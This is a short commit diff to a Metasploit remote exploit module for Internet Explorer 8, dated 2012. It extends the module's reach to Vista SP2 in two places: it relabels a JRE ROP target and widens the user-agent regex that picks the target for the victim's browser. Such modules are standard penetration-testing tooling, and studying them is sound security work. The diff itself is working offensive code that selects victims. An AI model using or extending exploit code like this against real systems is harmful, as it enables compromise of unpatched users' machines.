Add compatibility for Vista SP2 from troulouliou

unstable
HD Moore 2012-06-18 19:55:52 -05:00
parent 4987acc703
commit bd0fd8195d
1 changed files with 2 additions and 2 deletions

View File

@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
}
],
[
'IE 8 on Windows 7 SP1 with JRE ROP',
'IE 8 on Windows 7 SP1/Vista SP2 with JRE ROP',
{
'Rop' => :jre,
'RopOffset' => '0x5f4',
@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote
if agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
#Windows XP SP3 + IE 8.0
return targets[1]
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8\.0/
#Windows 7 SP1 + IE 8.0
return targets[3]
else